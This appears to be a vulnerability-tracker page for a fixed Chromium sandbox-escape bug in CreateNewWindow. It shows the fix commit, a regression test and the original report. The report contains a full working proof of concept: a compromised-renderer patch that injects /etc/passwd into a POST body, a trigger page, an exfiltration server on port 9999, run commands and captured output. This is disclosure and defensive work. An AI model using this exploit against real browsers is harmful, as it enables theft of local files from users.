Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in Navigation
DescriptionInsufficient validation of untrusted input in Navigation
ComponentNavigation
Bug ClassLogic Error
Tracker487768779
Fix commitb496550e39c5 (chromium/src) +68/-0
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-18

Changed Functions

FunctionChangeNotes
if
content/browser/renderer_host/render_frame_host_impl.cc
modified

Files Changed

  • content/browser/renderer_host/ipc_utils.cc
  • content/browser/renderer_host/ipc_utils.h
  • content/browser/renderer_host/render_frame_host_impl.cc
  • content/browser/renderer_host/render_frame_host_impl.h
  • content/browser/security_exploit_browsertest.cc
From b496550e39c5c1752d504a684ebc4d88b4009ed3 Mon Sep 17 00:00:00 2001
From: Charlie Reis <[email protected]>
Date: Thu, 05 Mar 2026 08:59:03 -0800
Subject: [PATCH] Validate ResourceRequestBody in CreateNewWindowParams.

Bug: 487768779
Change-Id: I15b89c501cc386ec6dee7eb3dbaab4a4cb6d0068
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7635726
Reviewed-by: Arthur Sonzogni <[email protected]>
Commit-Queue: Charlie Reis <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1594735}
---

diff --git a/content/browser/renderer_host/ipc_utils.cc b/content/browser/renderer_host/ipc_utils.cc
index 3d478208..6ba1106 100644
--- a/content/browser/renderer_host/ipc_utils.cc
+++ b/content/browser/renderer_host/ipc_utils.cc
@@ -341,6 +341,22 @@
   return true;
 }
 
+bool VerifyCreateNewWindowParams(const RenderFrameHostImpl& current_rfh,
+                                 const mojom::CreateNewWindowParams& params) {
+  DCHECK_CURRENTLY_ON(BrowserThread::UI);
+  RenderProcessHost* process = current_rfh.GetProcess();
+
+  // Verify `form_submission_post_data`.
+  auto* policy = ChildProcessSecurityPolicyImpl::GetInstance();
+  if (!policy->CanReadRequestBody(process, params.form_submission_post_data)) {
+    bad_message::ReceivedBadMessage(process,
+                                    bad_message::ILLEGAL_UPLOAD_PARAMS);
+    return false;
+  }
+
+  return true;
+}
+
 bool VerifyNavigationInitiator(
     RenderFrameHostImpl* current_rfh,
     const std::optional<blink::LocalFrameToken>& initiator_frame_token,
diff --git a/content/browser/renderer_host/ipc_utils.h b/content/browser/renderer_host/ipc_utils.h
index 76cbc5a5..70bb639 100644
--- a/content/browser/renderer_host/ipc_utils.h
+++ b/content/browser/renderer_host/ipc_utils.h
@@ -59,6 +59,18 @@
     blink::mojom::CommonNavigationParams* common_params,
     std::optional<blink::LocalFrameToken>& initiator_frame_token);
 
+// Verifies that the CreateNewWindowParams are valid and can be accessed by
+// `current_rfh`'s process.
+//
+// Returns true if the CreateNewWindowParams are valid.
+//
+// Terminates `current_rfh`'s process and returns false if the
+// CreateNewWindowParams are invalid.
+//
+// This function has to be called on the UI thread.
+bool VerifyCreateNewWindowParams(const RenderFrameHostImpl& current_rfh,
+                                 const mojom::CreateNewWindowParams& params);
+
 // Verify that the initiator frame identified by `initiator_frame_token` and
 // `initiator_process_id` can navigate `current_rfh`.
 //
diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index cc2fb01..c535d21 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -9980,6 +9980,13 @@
   TRACE_EVENT2("navigation", "RenderFrameHostImpl::CreateNewWindow",
                "render_frame_host", this, "url", params->target_url);
 
+  // TODO(crbug.com/487768779): Move all `params` validation from this function
+  // into VerifyCreateNewWindowParams.
+  if (!VerifyCreateNewWindowParams(*this, *params)) {
+    std::move(callback).Run(mojom::CreateNewWindowStatus::kBlocked, nullptr);
+    return;
+  }
+
   // Filter out invalid UNKNOWN disposition to prevent renderer-triggered
   // browser crashes.
   if (params->disposition == WindowOpenDisposition::UNKNOWN) {
diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h
index 427aacad..3a35040 100644
--- a/content/browser/renderer_host/render_frame_host_impl.h
+++ b/content/browser/renderer_host/render_frame_host_impl.h
@@ -3468,6 +3468,8 @@
   FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest,
                            BindToWebUIFromWebViaMojo);
   FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest,
+                           CreateNewWindowWithInaccessibleFile);
+  FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest,
                            WindowOpenDisallowedFromSandboxedFrame);
   FRIEND_TEST_ALL_PREFIXES(SitePerProcessBrowserTest,
                            RenderViewHostIsNotReusedAfterDelayedUnloadACK);
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index 802f0ad..ccf0287 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -1160,6 +1160,37 @@
   EXPECT_EQ(1u, Shell::windows().size());
 }
 
+// Regression test for browser-side validation of POST submissions in
+// CreateNewWindow. See https://crbug.com/487768779.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+                       CreateNewWindowWithInaccessibleFile) {
+  GURL main_url(embedded_test_server()->GetURL("a.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), main_url));
+
+  WebContentsImpl* web_contents =
+      static_cast<WebContentsImpl*>(shell()->web_contents());
+  FrameTreeNode* root = web_contents->GetPrimaryFrameTree().root();
+  RenderFrameHostImpl* main_frame = root->current_frame_host();
+
+  // Simulate that the renderer is compromised and sends an IPC to open a popup,
+  // using a POST submission that includes a file the renderer does not have
+  // access to. The browser process should detect this and kill the renderer.
+  RenderProcessHostBadIpcMessageWaiter kill_waiter(main_frame->GetProcess());
+  mojom::CreateNewWindowParamsPtr params = mojom::CreateNewWindowParams::New();
+  params->target_url = main_url;
+  params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  params->form_submission_post_data = std::move(request_body);
+  main_frame->CreateNewWindow(std::move(params), base::DoNothing());
+  EXPECT_EQ(bad_message::ILLEGAL_UPLOAD_PARAMS, kill_waiter.Wait());
+  EXPECT_FALSE(main_frame->IsRenderFrameLive());
+  EXPECT_EQ(1u, Shell::windows().size());
+}
+
 // Test verifying that a compromised renderer can't lie about the source_origin
 // passed along with the RouteMessageEvent() mojo message.  Similar to the test
 // above, but exercises a scenario where the source origin is opaque and the
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index 802f0ad..ccf0287 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -1160,6 +1160,37 @@
   EXPECT_EQ(1u, Shell::windows().size());
 }
 
+// Regression test for browser-side validation of POST submissions in
+// CreateNewWindow. See https://crbug.com/487768779.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+                       CreateNewWindowWithInaccessibleFile) {
+  GURL main_url(embedded_test_server()->GetURL("a.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), main_url));
+
+  WebContentsImpl* web_contents =
+      static_cast<WebContentsImpl*>(shell()->web_contents());
+  FrameTreeNode* root = web_contents->GetPrimaryFrameTree().root();
+  RenderFrameHostImpl* main_frame = root->current_frame_host();
+
+  // Simulate that the renderer is compromised and sends an IPC to open a popup,
+  // using a POST submission that includes a file the renderer does not have
+  // access to. The browser process should detect this and kill the renderer.
+  RenderProcessHostBadIpcMessageWaiter kill_waiter(main_frame->GetProcess());
+  mojom::CreateNewWindowParamsPtr params = mojom::CreateNewWindowParams::New();
+  params->target_url = main_url;
+  params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  params->form_submission_post_data = std::move(request_body);
+  main_frame->CreateNewWindow(std::move(params), base::DoNothing());
+  EXPECT_EQ(bad_message::ILLEGAL_UPLOAD_PARAMS, kill_waiter.Wait());
+  EXPECT_FALSE(main_frame->IsRenderFrameLive());
+  EXPECT_EQ(1u, Shell::windows().size());
+}
+
 // Test verifying that a compromised renderer can't lie about the source_origin
 // passed along with the RouteMessageEvent() mojo message.  Similar to the test
 // above, but exercises a scenario where the source origin is opaque and the
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox Escape: Arbitrary Local File Read via Missing CanReadRequestBody Validation in CreateNewWindow's opener_suppressed Path

Sandbox Escape: Arbitrary Local File Read via Missing CanReadRequestBody Validation in CreateNewWindow’s opener_suppressed Path

Summary

A compromised renderer process can read and exfiltrate arbitrary local files by exploiting a missing security validation in the CreateNewWindow IPC handler. When opener_suppressed is true, the browser process directly uses the renderer-provided form_submission_post_data to initiate a POST navigation without calling CanReadRequestBody(). Because the resulting network request is attributed to the browser process (process_id == 0), the file upload security check in HandleFileUploadRequest is bypassed entirely, allowing an attacker to read any file on the local filesystem and exfiltrate it to an attacker-controlled URL. Additionally, the browser trusts the renderer-provided allow_popup field without verification, enabling the compromised renderer to bypass the popup blocker without any user gesture. This constitutes a full sandbox escape, as demonstrated by successfully exfiltrating /etc/passwd (3126 bytes) to an attacker-controlled HTTP server with the sandbox enabled and no special flags.

Bisect

Introducing Commit: 5de823b36e68fd99009a29281b17bc3a1d6b329c

The commit “Support rel attribute for form element” added support for <form rel="noopener">, which requires passing POST data through the opener_suppressed branch of CreateNewWindow. The seven lines that populate load_params->post_data from renderer-supplied params.form_submission_post_data were added without the corresponding CanReadRequestBody() security check that exists in every other renderer-initiated navigation path.

Root Cause

The Mojo interface content.mojom.FrameHost::CreateNewWindow accepts a CreateNewWindowParams structure from the renderer process. This structure includes a form_submission_post_data field of type network.mojom.URLRequestBody, which can contain DataElementFile entries specifying arbitrary filesystem paths.

// content/common/frame.mojom — CreateNewWindowParams
struct CreateNewWindowParams {
  ...
  // Body of HTTP POST request for form submission.
  network.mojom.URLRequestBody? form_submission_post_data;
  string form_submission_post_content_type;
  ...
};

When a renderer invokes CreateNewWindow with opener_suppressed == true, the browser-side handler in WebContentsImpl::CreateNewWindow enters a special branch that navigates the newly created window directly from the browser process. In this branch, the renderer-provided POST data is assigned directly to the navigation parameters without any validation:

// content/browser/web_contents/web_contents_impl.cc — WebContentsImpl::CreateNewWindow
if (params.form_submission_post_data) {
  load_params->load_type = NavigationController::LOAD_TYPE_HTTP_POST;
  load_params->post_data = params.form_submission_post_data;  // no validation
  load_params->post_content_type = params.form_submission_post_content_type;
}
...
contents_to_load->GetController().LoadURLWithParams(*load_params.get());

By contrast, both of the other renderer-initiated navigation paths that accept POST data validate it before use. The OpenURL path calls VerifyOpenURLParams, and the BeginNavigation path calls VerifyBeginNavigationCommonParams. Both of these functions invoke ChildProcessSecurityPolicyImpl::CanReadRequestBody(), which iterates through every DataElement in the request body, rejects any DataElementFile whose path the renderer is not authorized to read, and terminates the renderer with a bad_message::ILLEGAL_UPLOAD_PARAMS report if the check fails:

// content/browser/renderer_host/ipc_utils.cc — VerifyOpenURLParams
auto* policy = ChildProcessSecurityPolicyImpl::GetInstance();
if (!policy->CanReadRequestBody(process, params->post_body)) {
  bad_message::ReceivedBadMessage(process,
                                  bad_message::ILLEGAL_UPLOAD_PARAMS);
  return false;
}

The CreateNewWindow path lacks this check entirely.

The consequence is escalated by how the browser handles the resulting navigation. Because opener_suppressed navigations are browser-driven, NavigationURLLoaderImpl constructs the URLLoaderFactoryParams with process_id set to OriginatingProcessId::browser(), which resolves to 0:

// content/browser/loader/navigation_url_loader_impl.cc
params->process_id = network::OriginatingProcessId::browser();

When the Network Service encounters DataElementFile entries in the request body, it calls NetworkContextClient::OnFileUploadRequested, which routes to HandleFileUploadRequest in the browser process. This function checks whether the originating process is allowed to read each file path, but it explicitly exempts the browser process (process_id == 0) from this check:

// content/browser/network_context_client_base_impl.cc — HandleFileUploadRequest
if (process_id != network::mojom::kBrowserProcessId &&
    !cpsp->CanReadFile(ChildProcessId::FromUnsafeValue(process_id),
                       file_path)) {
  // deny
  return;
}
// If process_id == kBrowserProcessId (0), the check is skipped entirely
files.emplace_back(file_path, file_flags);

A secondary issue compounds the exploit: the browser trusts the allow_popup field in CreateNewWindowParams without verification. In RenderFrameHostImpl::CreateNewWindow, the popup blocker decision is computed as:

// content/browser/renderer_host/render_frame_host_impl.cc
bool effective_transient_activation_state =
    params->allow_popup || HasTransientUserActivation() ||
    (transient_allow_popup_.IsActive() &&
     params->disposition == WindowOpenDisposition::NEW_POPUP);

A compromised renderer can set allow_popup = true to bypass the popup blocker entirely, without requiring any user gesture or transient activation. Combined with opener_suppressed = true, this allows the compromised renderer to trigger the file exfiltration at any time, without user interaction.

The net effect is a confused deputy attack: the compromised renderer provides an arbitrary file path via the CreateNewWindow Mojo message, the browser process trusts and forwards this to the navigation system, the navigation system attributes the request to the browser itself, and the file upload handler opens the file with full browser-process privileges. The file contents are then sent as the POST body to the renderer-specified target_url, completing the exfiltration.

Reproduce

The proof of concept consists of three components: a patch to the renderer process that simulates a compromised renderer directly calling FrameHost::CreateNewWindow() via Mojo IPC with a DataElementFile injected into the POST body, an HTML trigger page, and a Python HTTP server that receives the exfiltrated file. The compromised renderer bypasses Blink’s popup blocker entirely by setting allow_popup = true in the Mojo message, so no --disable-popup-blocking flag is needed.

Apply the following patch to the renderer (tested on d0f83d769eeed, git apply createnewwindow-file-exfil-poc/render_frame_impl.patch):

diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index dd17c9c1d3d17..4887300ab9b22 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -134,6 +134,8 @@
 #include "net/http/http_util.h"
 #include "services/metrics/public/cpp/ukm_source_id.h"
 #include "services/network/public/cpp/content_decoding_interceptor.h"
+#include "services/network/public/cpp/resource_request_body.h"
+#include "third_party/blink/public/common/dom_storage/session_storage_namespace_id.h"
 #include "services/network/public/cpp/features.h"
 #include "services/network/public/cpp/not_implemented_url_loader_factory.h"
 #include "services/network/public/cpp/weak_wrapper_shared_url_loader_factory.h"
@@ -4167,6 +4169,87 @@ void RenderFrameImpl::DidFinishLoad() {
                          frame_->IsOutermostMainFrame());
   }

+  // --- PoC: Direct Mojo IPC to CreateNewWindow ---
+  // A compromised renderer calls FrameHost::CreateNewWindow() directly,
+  // bypassing Blink's popup blocker entirely. The browser trusts
+  // allow_popup from the renderer and skips activation checks.
+  // No --disable-popup-blocking needed.
+  std::string url = frame_->GetDocument().Url().GetString().Utf8();
+  if (!frame_->Parent() && url.find("/trigger") != std::string::npos) {
+    LOG(ERROR) << "POC: Direct Mojo CreateNewWindow - no popup blocker, "
+               << "no user gesture needed";
+
+    auto params = mojom::CreateNewWindowParams::New();
+
+    // allow_popup=true bypasses browser-side popup blocker:
+    //   effective_transient_activation_state =
+    //       params->allow_popup || HasTransientUserActivation() || ...
+    // Browser trusts this field from renderer without verification.
+    params->allow_popup = true;
+    params->opener_suppressed = true;
+    params->is_form_submission = true;
+    params->target_url = GURL("http://127.0.0.1:9999/exfil");
+    params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+    params->form_submission_post_content_type = "application/octet-stream";
+    params->session_storage_namespace_id =
+        blink::AllocateSessionStorageNamespaceId();
+
+    // Required non-optional struct fields
+    params->referrer = blink::mojom::Referrer::New(
+        GURL(), network::mojom::ReferrerPolicy::kDefault);
+    params->features = blink::mojom::WindowFeatures::New();
+    // download_policy is a typemapped plain struct, default-initialized.
+
+    // === THE EXPLOIT ===
+    // Inject DataElementFile pointing to /etc/passwd.
+    // The opener_suppressed=true path navigates the new window directly
+    // from the browser process via LoadURLWithParams(), which does NOT
+    // call CanReadRequestBody(). The network service reads /etc/passwd
+    // and sends it as POST body to the attacker's server.
+    auto body = base::MakeRefCounted<network::ResourceRequestBody>();
+    body->AppendFileRange(
+        base::FilePath(FILE_PATH_LITERAL("/etc/passwd")),
+        0, 1048576, base::Time());
+    params->form_submission_post_data = std::move(body);
+
+    LOG(ERROR) << "POC: target=http://127.0.0.1:9999/exfil file=/etc/passwd";
+
+    // Create required Mojo endpoints for the new window
+    mojo::PendingAssociatedReceiver<mojom::Frame> frame_receiver;
+    params->frame_remote =
+        frame_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingAssociatedReceiver<blink::mojom::PageBroadcast>
+        page_broadcast_receiver;
+    params->page_broadcast_remote =
+        page_broadcast_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingRemote<blink::mojom::BrowserInterfaceBroker>
+        browser_interface_broker;
+    params->main_frame_interface_broker =
+        browser_interface_broker.InitWithNewPipeAndPassReceiver();
+    mojo::PendingAssociatedRemote<blink::mojom::AssociatedInterfaceProvider>
+        aip_remote;
+    params->associated_interface_provider =
+        aip_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedRemote<blink::mojom::WidgetHost> wh_remote;
+    params->widget_host = wh_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedReceiver<blink::mojom::Widget> w_receiver;
+    params->widget = w_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingAssociatedRemote<blink::mojom::FrameWidgetHost> fwh_remote;
+    params->frame_widget_host =
+        fwh_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedReceiver<blink::mojom::FrameWidget> fw_receiver;
+    params->frame_widget = fw_receiver.InitWithNewEndpointAndPassRemote();
+
+    // Direct Mojo call - no Blink, no JS, no popup blocker
+    mojom::CreateNewWindowStatus status;
+    mojom::CreateNewWindowReplyPtr reply;
+    GetFrameHost()->CreateNewWindow(std::move(params), &status, &reply);
+    LOG(ERROR) << "POC: CreateNewWindow status="
+               << static_cast<int>(status)
+               << " (0=Blocked,1=Ignore,2=Reuse,3=Success)";
+  }
+  // --- End PoC ---
+
   for (auto& observer : observers_)
     observer.DidFinishLoad();
 }

Save the following as trigger.html:

<!DOCTYPE html>
<html>
<head><title>CreateNewWindow File Exfil PoC</title></head>
<body>
<h1>CreateNewWindow File Exfiltration PoC</h1>
<p>This page triggers the exploit via its URL path containing "/trigger".</p>
<p>The compromised renderer (patched render_frame_impl.cc) will:</p>
<ol>
  <li>Detect "/trigger" in the URL at DidFinishLoad()</li>
  <li>Call FrameHost::CreateNewWindow() directly via Mojo IPC</li>
  <li>Set allow_popup=true to bypass popup blocker (no user gesture needed)</li>
  <li>Set opener_suppressed=true to skip CanReadRequestBody() check</li>
  <li>Inject DataElementFile("/etc/passwd") as POST body</li>
  <li>Browser process reads /etc/passwd and POSTs it to 127.0.0.1:9999/exfil</li>
</ol>
<p>Check the poc_server.py terminal for exfiltrated file content.</p>
</body>
</html>

Save the following as poc_server.py:

#!/usr/bin/env python3
"""
CreateNewWindow File Exfiltration - Receiving Server

Listens on port 9999. When Chrome's browser process navigates the new tab
to http://127.0.0.1:9999/exfil with the POST body containing /etc/passwd,
this server captures and displays the exfiltrated file content.
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import sys


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/" or self.path.endswith(".html"):
            try:
                with open("trigger.html", "rb") as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-Type", "text/html")
                self.send_header("Content-Length", str(len(content)))
                self.end_headers()
                self.wfile.write(content)
            except FileNotFoundError:
                self.send_response(404)
                self.end_headers()
        else:
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(b"ok")

    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length) if content_length > 0 else b""

        sys.stderr.write(f"\n{'='*70}\n")
        sys.stderr.write(f"[EXFIL] POST {self.path}\n")
        sys.stderr.write(f"[EXFIL] Content-Length: {content_length}\n")
        sys.stderr.write(f"[EXFIL] Content-Type: {self.headers.get('Content-Type', 'N/A')}\n")
        sys.stderr.write(f"[EXFIL] Body ({len(body)} bytes):\n")
        sys.stderr.write(f"{'-'*70}\n")
        try:
            sys.stderr.write(body.decode("utf-8", errors="replace"))
            sys.stderr.write("\n")
        except Exception:
            sys.stderr.write(f"(binary data: {body[:200]}...)\n")
        sys.stderr.write(f"{'='*70}\n")
        sys.stderr.flush()

        if len(body) > 0 and b":" in body:
            sys.stderr.write("\n[!!!] SUCCESS: File content received!\n")
            sys.stderr.write("[!!!] The /etc/passwd content was exfiltrated via browser process!\n")
            with open("exfil_result.txt", "wb") as f:
                f.write(body)
            sys.stderr.write("[!!!] Saved to exfil_result.txt\n")
            sys.stderr.flush()

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"received")

    def log_message(self, format, *args):
        sys.stderr.write(f"[SERVER] {format % args}\n")
        sys.stderr.flush()


if __name__ == "__main__":
    port = 9999
    server = HTTPServer(("127.0.0.1", port), Handler)
    sys.stderr.write(f"[*] Exfil Server listening on http://127.0.0.1:{port}\n")
    sys.stderr.write(f"[*] Waiting for exfiltrated file content on POST /exfil ...\n")
    sys.stderr.flush()
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        sys.stderr.write("\n[*] Server stopped.\n")
        server.server_close()

Build and run:

# Build with the renderer patch applied
autoninja -C out/asan-release chrome

# Terminal 1: start the exfil server (serves both trigger.html and receives exfil)
cd <poc-directory>
python3 poc_server.py

# Terminal 2: launch Chrome (sandbox enabled, no --no-sandbox, no --disable-popup-blocking)
ASAN_OPTIONS=detect_odr_violation=0 xvfb-run -a out/asan-release/chrome \
  --disable-gpu \
  --user-data-dir=/tmp/poc-$(date +%s) \
  --enable-logging=stderr \
  http://127.0.0.1:9999/trigger.html

Chrome stderr output confirms the renderer-side injection and successful bypass of the popup blocker without user gesture:

[189594:1:0226/204157.261511:ERROR:content/renderer/render_frame_impl.cc:4179] POC: Direct Mojo CreateNewWindow - no popup blocker, no user gesture needed
[189594:1:0226/204157.261861:ERROR:content/renderer/render_frame_impl.cc:4213] POC: target=http://127.0.0.1:9999/exfil file=/etc/passwd
[189594:1:0226/204157.305287:ERROR:content/renderer/render_frame_impl.cc:4245] POC: CreateNewWindow status=1 (0=Blocked,1=Ignore,2=Reuse,3=Success)

The kIgnore status (1) is expected: the browser creates and navigates the new window but does not inform the renderer about it because opener_suppressed causes a new BrowsingInstance. The window creation and navigation proceed regardless.

The exfil server receives the full contents of /etc/passwd as the POST body:

[SERVER] "POST /exfil HTTP/1.1" 200 -

======================================================================
[EXFIL] POST /exfil
[EXFIL] Content-Length: 3126
[EXFIL] Content-Type: application/octet-stream
[EXFIL] Body (3126 bytes):
----------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
sshd:x:131:65534::/run/sshd:/usr/sbin/nologin
======================================================================

[!!!] SUCCESS: File content received!
[!!!] The /etc/passwd content was exfiltrated via browser process!
[!!!] Saved to exfil_result.txt

The test was conducted with the sandbox enabled (no --no-sandbox flag) and without --disable-popup-blocking, confirming that this vulnerability is reachable from within a sandboxed renderer process without any user interaction.

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker